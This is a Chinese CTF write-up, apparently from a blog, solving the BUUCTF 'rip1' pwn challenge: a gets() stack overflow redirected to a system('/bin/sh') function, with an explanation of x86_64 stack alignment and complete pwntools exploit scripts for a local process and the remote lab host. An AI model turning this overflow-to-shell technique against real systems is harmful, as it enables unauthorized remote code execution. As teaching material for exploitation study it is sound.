当前位置: 首页 > news >正文

全面理解BUUCTF-rip1

BUUCTF-rip1

一、题目来源

题目来自BUUCTF-Pwn-rip1:

二、准备工作

你需要有:

1、一台Linux主机/虚拟机(我这使用的是Ubuntu)

2、一个反编译工具(ida、Cutter等)

3、Linux主机/虚拟机中需要有python环境(推荐python3)、需要下载python库(pwntools)、需要有checksec工具(非必须)

如果你已经满足了上述要求,接下来就可以开始优雅地分析题目了

三、文件分析

下载题目给的二进制文件pwn1,丢到Ubuntu中

通过file指令查看文件的信息:

发现他是一个ELF文件(Linux系统中的一个二进制文件)并且是64位的

通过checksec命令查看该文件有没有做什么保护:

查看防护是为了判断后面是否可以有利用思路的,所以建议有这一个步骤

四、反编译文件并分析代码

通过反编译工具(选则64位的(如果可以选的化,如果用的是cutter那么64和32都是共用的),因为我们分析出来是64位的文件),反编译题目文件

操作手法就是,将文件丢到工具里面

我们查看main函数,我把main函数的汇编代码放下面:

.text:0000000000401142 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0000000000401142                 public main
.text:0000000000401142 main            proc near               ; DATA XREF: _start+1D↑o
.text:0000000000401142
.text:0000000000401142 s               = byte ptr -0Fh
.text:0000000000401142
.text:0000000000401142 ; __unwind {
.text:0000000000401142                 push    rbp
.text:0000000000401143                 mov     rbp, rsp
.text:0000000000401146                 sub     rsp, 10h
.text:000000000040114A                 lea     rdi, s          ; "please input"
.text:0000000000401151                 call    _puts
.text:0000000000401156                 lea     rax, [rbp+s]
.text:000000000040115A                 mov     rdi, rax
.text:000000000040115D                 mov     eax, 0
.text:0000000000401162                 call    _gets
.text:0000000000401167                 lea     rax, [rbp+s]
.text:000000000040116B                 mov     rdi, rax        ; s
.text:000000000040116E                 call    _puts
.text:0000000000401173                 lea     rdi, aOkBye     ; "ok,bye!!!"
.text:000000000040117A                 call    _puts
.text:000000000040117F                 mov     eax, 0
.text:0000000000401184                 leave
.text:0000000000401185                 retn
.text:0000000000401185 ; } // starts at 401142
.text:0000000000401185 main            endp

一眼就可以看到gets这个危险函数,那么gets为什么危险呢?

因为get不会限制用户的输入长度,就有可能出现缓冲区溢出的情况

缓冲区溢出是指:程序向内存中已经分配好大小的缓冲区(如数组、字符串)中写入了超出其边界的数据,导致覆盖了临近的内存区域,进而引发程序崩溃或被攻击者控制

结合之前我们检查的保护措施:

Stack:    No canary found

也就是说明没有启用栈保护,那么我们就可以使用栈溢出的思路

那么很明显,我们就需要知道gets函数的参数,即用户输入,会放在内存的哪个位置

在x86_64的计算机中,函数获得参数的方式是通过寄存器传参

在x86_32位的计算机中,是通过“压栈”传参的

即,当一个函数需要传入一个参数,那么在调用这个函数之前会进行“压栈”操作(压入的内容就是要传给该函数的参数)

同样,如果一个函数需要两个参数,就会进行两次“压栈”操作

在x86_64位的计算机中,是通过寄存器传参的

规则如下:

参数顺序使用的寄存器
第一个参数rdi
第二个参数rsi
第三个参数rdx
第四个参数rcx
第五个参数r8
第六个参数r9

也就是说,如果一个函数需要输入一个参数,那么在调用该函数之前会对rdi寄存器进行赋值,然后在调用到该函数的时候就会去rdi中取值

同样,如果一个函数需要两个参数,那么在调用该函数之前就会对rdi和rsi进行赋值

在汇编代码中相关的部分就是:

.text:0000000000401142 s               = byte ptr -0Fh
​
.text:0000000000401156                 lea     rax, [rbp+s]
.text:000000000040115A                 mov     rdi, rax
.text:000000000040115D                 mov     eax, 0
.text:0000000000401162                 call    _gets

gets由于就一个参数,就会从rdi寄存器中取值,而rdi的值又来自于[rbp+s],这就是接受用户输入的地方

位置就是rbp-0xF,即rbp-15B

画出此时栈的大致情况:

写信息是从低地址向高地址写入的,我们最终需要将数据溢出到“返回地址”的地方,并且覆盖返回地址的部分是“有目的性的”

通过观察反编译出来的信息,我们还可以找到一个函数fun,其汇编代码如下:

.text:0000000000401186                 public fun
.text:0000000000401186 fun             proc near
.text:0000000000401186 ; __unwind {
.text:0000000000401186                 push    rbp
.text:0000000000401187                 mov     rbp, rsp
.text:000000000040118A                 lea     rdi, command    ; "/bin/sh"
.text:0000000000401191                 call    _system
.text:0000000000401196                 nop
.text:0000000000401197                 pop     rbp
.text:0000000000401198                 retn
.text:0000000000401198 ; } // starts at 401186
.text:0000000000401198 fun             endp

很明显,这里就是getshell的地方,因为用到了函数system

这段代码对应的c语言代码就是:

system("/bin/sh");

简单来说就是如果我们调用到了fun函数,就会返回给我们服务器的shell

那么确定了,我们要将“返回地址”覆盖成:0x0000000000401186(可以简写成0x401186)

五、构造Poc

1、尝试

根据上述分析,我们的payload就是:

payload = b'A'*23 + p64(0x401186)
#23 = 7 + 8 + 8

构造poc(现在本地尝试)(记得先把pwn1加上可执行的权限:sudo chmod +x pwn1):

from pwn import *
​
# 启动本地程序(选中题目发你的可执行文件)(记得先给该文件一个可执行权限)
p = process('./pwn1')
​
# 接收提示(启动本地程序后,可能该程序会有些提示信息,将他们输出)
print(p.recvline())
​
# 构造payload
payload = b'A'*23 + p64(0x401186)
p.sendline(payload)
​
# 进入交互模式(像nc一样交互)
p.interactive()

运行:

2、问题出现

出现SIGSEGV,表示程序访问了非法地址,例如:

① 地址不存在(空指针/越界)

② 地址存在但无访问权限(如栈溢出访问代码段)

③ 对齐要求未满足,导致指令访问异常

通过我们之前的分析:栈无保护+访问地址分析正确

就可以说明,出现了“栈对齐”的问题

概念:

栈对齐是指在函数调用或执行期间,保持栈顶(RSP寄存器)满足特定字节对齐要求的一种约定

现代处理器(尤其是x86_64架构)在访问内存时,如果内存地址是16字节对齐(即地址能被16整除),会提升

性能;而且 某些指令(如SSE、AVX)对对齐是强制要求,否则会触发段错误(SIGSEGV

对齐规则(以x86_64为例)

根据System V AMD64 ABI(一种规范)规定:

  • 不要求在函数执行期间始终保持RSP % 16 == 0

  • 但是在“函数入口处”栈顶必须是16字节对齐的(RSP % 16 == 0

  • 换言之,在调用(call)函数之前,需要先调整到RSP % 16 == 8的状态

啥是函数入口(汇编代码的角度)?

就是第一条执行所在的地址(还未执行第一条指令)

先来简单回顾一下函数调用的过程(汇编代码的角度):

调用者会用CALL指令调用被调函数

这一步CPU会自动将“返回地址”压入栈中

然后被调函数在正式开始执行之前会进行保存调用者的“上下文”和“初始化栈帧”的操作

好,结合上述过程描述,我们来理解一下栈对齐规则

根据ABI的规定,调用者在调用函数之前需要满足RSP % 16 == 8

如果调用者开始调用函数了,即使用call指令

那么,此时CPU会自动压入“返回地址”,RSP也就相应的减去了8字节(因为在64位的计算机)

那么此时满足RSP % 16 == 0

此时就满足了:

  • 函数入口处,栈顶必须是16字节对齐的(RSP % 16 == 0

没有对齐,会怎样?

首先,上面也讲到了,“栈对齐”只是一种规定,是为了兼容、稳定和性能设计的标准

所以,你如果没有遵守,程序也不一定会出现问题

但是,程序一旦满足以下任意情况,未对齐就会报错或崩溃:

情况原因结果
使用movaps、movdqa 等SSE指令这些指令要求内存地址必须16字节对齐,否则CPU报错程序触发SIGSEGV崩溃
glibc内部函数有对栈对齐的assert检查glibc某些函数运行前会检查RSP%16==0,不满足就触发断言程序触发abort()强制退出
编译器开启对齐优化(如-O2 或以上)编译器可能默认结构体/栈局部变量需要16字节对齐,未对齐时行为不确定程序出现未定义行为(UB),可能崩溃

上面都是在64位系统的前提下的,那么32位系统(x86)呢?

会有栈对齐的情况,但没有强制要求(没有像ABI一样的规定)

在32位系统中,一般保持4字节对齐,但只是是“推荐”,不是必须,绝大多数情况下即使未对齐也不会崩溃

但是也有特殊情况,比如:

  • 如果编译开启了-msse,比如用到了__m128movaps,那就会要求16字节对齐

  • 如果你不手动对齐ESP,用movaps 等就可能崩溃(虽然是32 位)

3、问题解决

我们在知道“栈对齐”的概念之后,就可以想到对应的解决办法

刚刚的poc导致程序崩溃,很可能的原因就是

当我们覆盖“返回地址”使之跳转到fun之前,main的栈帧中RSP处于RSP%16==8的状态

那么,由于不是通过call来调用函数的,就不会存在“CPU”自动压入返回地址的操作

这也就意味着,函数入口处,RSP%16==8,就违反了规定

但在笔记中我们也提到,规定只是规定而已不是强制要求啊

但是请注意,在仔细观察一下fun函数:

.text:0000000000401186                 public fun
.text:0000000000401186 fun             proc near
.text:0000000000401186 ; __unwind {
.text:0000000000401186                 push    rbp
.text:0000000000401187                 mov     rbp, rsp
.text:000000000040118A                 lea     rdi, command    ; "/bin/sh"
.text:0000000000401191                 call    _system
.text:0000000000401196                 nop
.text:0000000000401197                 pop     rbp
.text:0000000000401198                 retn
.text:0000000000401198 ; } // starts at 401186
.text:0000000000401198 fun             endp

其中有个调用_system函数对吧,我们跟进查看(双击)就可以看到:

.plt:0000000000401040 ; int system(const char *command)
.plt:0000000000401040 _system         proc near               ; CODE XREF: fun+B↓p
.plt:0000000000401040                 jmp     cs:off_404020
.plt:0000000000401040 _system         endp

经验丰富的人,可以看出这个程序采用的是动态链接,为什么?

一步步解析:

首先是.plt段

它是动态链接的跳板表,它不包含真正的函数实现,而是一个“跳转中介”

那么链接的函数很明显就是system()

接下来根据跳转的目的地址off_404020,就可以去查看对应的地址:

.got.plt:0000000000404020 off_404020      dq offset system        ; DATA XREF: _system↑r

先理解.got.plt是什么:

.got.plt是存放每个外部动态链接函数地址的表格

那么此时的完整过程就是

在初次调用的system的时候,由于.got.plt中没有该函数,会动态链接libc,从中将system的真实地址填入其中

所以system的具体实现细节我们在反编译出来的代码中是看不到的

这也就意味着,system中可能存在强制要求“栈对齐”的函数,导致了程序崩溃

那么不违反规定的方法就是:直接进入函数的第二行命令

我们就利用了“栈对齐”只是检查函数的入口,对函数执行的部分是不强制要求的

所以将我们的payload改成:

payload = b'A'*23 + p64(0x401186+1)

4、最后的Poc

本地测试:

from pwn import *
​
# 启动本地程序(选中题目发你的可执行文件)(记得先给该文件一个可执行权限)
p = process('./pwn1')
​
# 接收提示(启动本地程序后,可能该程序会有些提示信息,将他们输出)
print(p.recvline())
​
# 构造payload
payload = b'A'*23 + p64(0x401186+1)
p.sendline(payload)# 进入交互模式(像nc一样交互)
p.interactive()
 

成功拿下本地shell

那么我们就可以去远程利用了

开启靶机:

远程Poc:

from pwn import *
​
# 访问远程服务器上运行的某个程序
p = remote('node5.buuoj.cn', 29750)
​
# 构造payload
payload = b'A'*23 + p64(0x401186+1)
p.sendline(payload)
​
# 进入交互模式(像nc一样交互)
p.interactive()

运行:

成功拿下对方shell,接下来查看flag文件就可以看到答案了

相关文章:

  • 【MV】key_moments 与 continuous_timeline的编排权衡
  • 数字人矩阵源码技术开发核心功能,定制化开发
  • vue mod方法
  • Record of mounting hard disk on Hikvision platform server
  • 爱普生SG5032EEN差分晶体振荡器的特点
  • 从“执行规则”到“智能决策”,IAM+AI是身份与访问管理的新形态
  • 强化学习:策略梯度概念
  • 如何在 Discourse AI 中设置 Gemini API
  • python打卡day52@浙大疏锦行
  • 国产最高性能USRP SDR平台:国产USRP X440 PRO, 搭载UltraScale+ XCZU48DR芯片
  • 《TCP/IP协议卷1》第14章 DNS:域名系统
  • 让报表成为生产现场的“神经系统”,推动管理自动化升级
  • Vue.js 中 “require is not defined“
  • 使用AkShare获取大A列表
  • GCC编译/连接/优化等选项
  • JavaWeb期末速成 JSP
  • 网络编程之HTML语言基础
  • flatbuffer源码编译和使用方法
  • 短剧小程序开发:开启碎片化娱乐新视界
  • SpringCloud微服务:服务保护和分布式事务
  • 法库网站建设/啥是网络推广
  • 做框图的网站/东莞网站建设seo
  • 建设工程质量安全管理协会网站/app优化方案
  • 卡盟怎么网站怎么做/广告推广怎么做最有效
  • 一个网站开发流程/seo网络推广招聘
  • 上海自贸区注册公司代办/seo查询百科